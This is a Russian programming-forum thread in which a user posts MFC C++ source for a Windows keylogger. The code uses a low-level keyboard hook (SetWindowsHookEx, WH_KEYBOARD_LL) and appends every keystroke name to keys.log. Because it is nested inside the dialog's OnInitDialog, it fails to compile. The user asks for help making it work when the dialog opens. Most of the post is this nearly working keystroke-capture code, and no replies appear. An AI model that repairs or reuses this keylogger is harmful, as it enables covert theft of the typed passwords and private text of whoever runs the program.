Форум программистов, компьютерный форум CyberForum.ru

Local Function definitions are illegal - C++

Войти
Регистрация
Восстановить пароль
Другие темы раздела
C++ Написать функцию, которая определяет, сколько раз в стеке встречается заданный символ http://www.cyberforum.ru/cpp-beginners/thread1160101.html
Написать функцию, которая определяет, сколько раз в стеке встречается заданный символ (СИМВОЛ ЗАДАЕТСЯ С КЛАВИАТУРЫ)
C++ IP адрес помогите написать программу для определения ip адреса и маску подсети http://www.cyberforum.ru/cpp-beginners/thread1160056.html
Сортировка структуры C++
Добрый день, нужна ваша помощь. Имеется программа, в которой вводишь название услуги, тип, стоимость и срок выполнения. Программа делает сортировку по названию(по алфавиту), и выводит отсортированные элементы. Нужно дополнить ее так, чтобы она выводила только те отсортированные названия, чья цена больше, чем средняя, т.е. (sp.stoimost>average_cost), а также сводную статистику о каждом типе...
Перевести L студентов с 1-й группы в другую (списки) C++
Даны 2 списка, содержащих фамилии студентов 2-х групп. Перевести L студентов с 1-й группы в другую. Число пересчета-К. Для меня списки - тема совсем новая. Прошу Вас помочь! Зарание спасибо.
C++ Ошибка [BCC32 Error] E2453 Size of the type 'int[]' is unknown or zero http://www.cyberforum.ru/cpp-beginners/thread1160002.html
Функция: int multiplication(int double_matrix1,int double_matrix2, int m, int n) //тут ошибка { int i,j,k; int rezult_matrix; for (i = 0; i < m; i++) { for (j = 0; j < n; j++) { for(k = 0; k < n; k++)
C++ Code::Blocks выдаёт ошибку там где её не должно быть Я решил написать простенькую программу по преобразованию градусов Цельсия в градусы Фаренгейта, а CodeBlocks выдаёт ошибку в строках 11 и 12.Что я сделал не так?:help: // Программа для преобразования // градусов Цельсия в градусы Фаренгейта // Fahrenheit = NCelsius * (212 - 32) / 100 + 32 // #include <stdio.h> #include <iostream> int main (int nNumberofArgs, char* pszArgs) { подробнее

Показать сообщение отдельно
Виктор
0 / 0 / 0
Регистрация: 28.04.2014
Сообщений: 2

Local Function definitions are illegal - C++

28.04.2014, 14:44. Просмотров 826. Ответов 2
Метки (Все метки)

Прошу помощи специалистов. Есть некоторая функция кейлогера, которую нужно запустить при открытии диалогового окна MFC. При компиляции проекта выдает следующую ошибку
Compiling...
700Dlg.cpp
E:\CPP\700\700Dlg.cpp(65) : error C2601: 'KeyEvent' : local function definitions are illegal
E:\CPP\700\700Dlg.cpp(106) : error C2601: 'MsgLoop' : local function definitions are illegal
E:\CPP\700\700Dlg.cpp(115) : error C2601: 'KeyLogger' : local function definitions are illegal
E:\CPP\700\700Dlg.cpp(142) : error C2601: 'main' : local function definitions are illegal
Error executing cl.exe.

700.exe - 4 error(s), 0 warning(s)


Вот исходник самого DlgCpp


C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
#include "stdafx.h"
 
#define _WIN32_WINNT 0x0400
#include "700.h"
#include "700Dlg.h"
    #include <windows.h> 
    #include <winuser.h> 
    #include <stdio.h>
#include <afxdllx.h>
 
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
 
 
HHOOK hKeyHook;
 
  
 
CMy700Dlg::CMy700Dlg(CWnd* pParent /*=NULL*/)
    : CDialog(CMy700Dlg::IDD, pParent)
{
     
    m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
 
void CMy700Dlg::DoDataExchange(CDataExchange* pDX)
{
    CDialog::DoDataExchange(pDX);
     
}
 
BEGIN_MESSAGE_MAP(CMy700Dlg, CDialog)
 
    ON_WM_PAINT()
    ON_WM_QUERYDRAGICON()
    ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
 
END_MESSAGE_MAP()
 
 
 
 
BOOL CMy700Dlg::OnInitDialog()
{
    CDialog::OnInitDialog();
 
 
    SetIcon(m_hIcon, TRUE);           
    SetIcon(m_hIcon, FALSE);       
     
 
 
    // TODO: Add extra initialization here
 
///////////////////////////////////////////////////// НАЧАЛО ПРОЦЕДУРЫ КЕЙЛОГЕРА 
 __declspec(dllexport) LRESULT CALLBACK KeyEvent ( 
       
      int nCode,     
      WPARAM wParam,
      LPARAM lParam 
       
    ) { 
        if  ((nCode == HC_ACTION) &&    
            ((wParam == WM_SYSKEYDOWN) ||
            (wParam == WM_KEYDOWN)))
        { 
       
   
            KBDLLHOOKSTRUCT hooked = 
                *((KBDLLHOOKSTRUCT*)lParam); 
       
         
            DWORD dwMsg = 1; 
            dwMsg += hooked.scanCode << 16; 
            dwMsg += hooked.flags << 24; 
       
       
            char lpszName[0x100] = {0}; 
            lpszName[0] = '['; 
       
            int i = GetKeyNameText(dwMsg, 
                (lpszName+1),0xFF) + 1; 
       
            lpszName[i] = ']';
      
        
            FILE *file; 
            file=fopen("keys.log","a+"); 
            fputs(lpszName,file); 
            fflush(file); 
        } 
       
         
        return CallNextHookEx(hKeyHook, 
            nCode,wParam,lParam); 
       
    } 
 
 
 
void MsgLoop() 
    { 
        MSG message; 
        while (GetMessage(&message,NULL,0,0)) { 
            TranslateMessage( &message ); 
            DispatchMessage( &message ); 
        } 
    } 
 
 DWORD WINAPI KeyLogger(LPVOID lpParameter) 
    { 
       
    
        HINSTANCE hExe = GetModuleHandle(NULL); 
        if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter); 
       
      
        if (!hExe) return 1; 
       
       
       
        hKeyHook = SetWindowsHookEx (
       
            WH_KEYBOARD_LL,
            (HOOKPROC) KeyEvent,
            hExe,
            NULL
        ); 
       
 
       
        MsgLoop(); 
        UnhookWindowsHookEx(hKeyHook); 
        return 0; 
    } 
 
 int main(int argc, char** argv) 
    { 
        HANDLE hThread; 
        DWORD dwThread; 
  
       
        hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) 
            KeyLogger, (LPVOID) argv[0], NULL, &dwThread); 
       
        if (hThread) { 
            return WaitForSingleObject(hThread,INFINITE); 
        } else { 
            return 1; 
        } 
    }
 ////////////////////////////////////////////////////// КОНЕЦ ПРОЦЕДУРЫ КЕЙЛОГЕРА 
     
    return TRUE; 
}
 
 
 
void CMy700Dlg::OnPaint()
{
    if (IsIconic())
    {
        CPaintDC dc(this);
 
        SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
 
     
        int cxIcon = GetSystemMetrics(SM_CXICON);
        int cyIcon = GetSystemMetrics(SM_CYICON);
        CRect rect;
        GetClientRect(&rect);
        int x = (rect.Width() - cxIcon + 1) / 2;
        int y = (rect.Height() - cyIcon + 1) / 2;
 
         
        dc.DrawIcon(x, y, m_hIcon);
    }
    else
    {
        CDialog::OnPaint();
    }
}
 
 
HCURSOR CMy700Dlg::OnQueryDragIcon()
{
    return (HCURSOR) m_hIcon;
}

Также я попытался переместить тело кейлогера из InitDialog в самый конец срр файла, при этом ошибок компиляции уже нет, диалоговое окно запускается но сам кейлогер никаких действий не выполняет.

Очень прошу помощи ребята, помогите откорректировать исходник чтобы привести его в рабочее состояние.
После регистрации реклама в сообщениях будет скрыта и будут доступны все возможности форума.
 
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru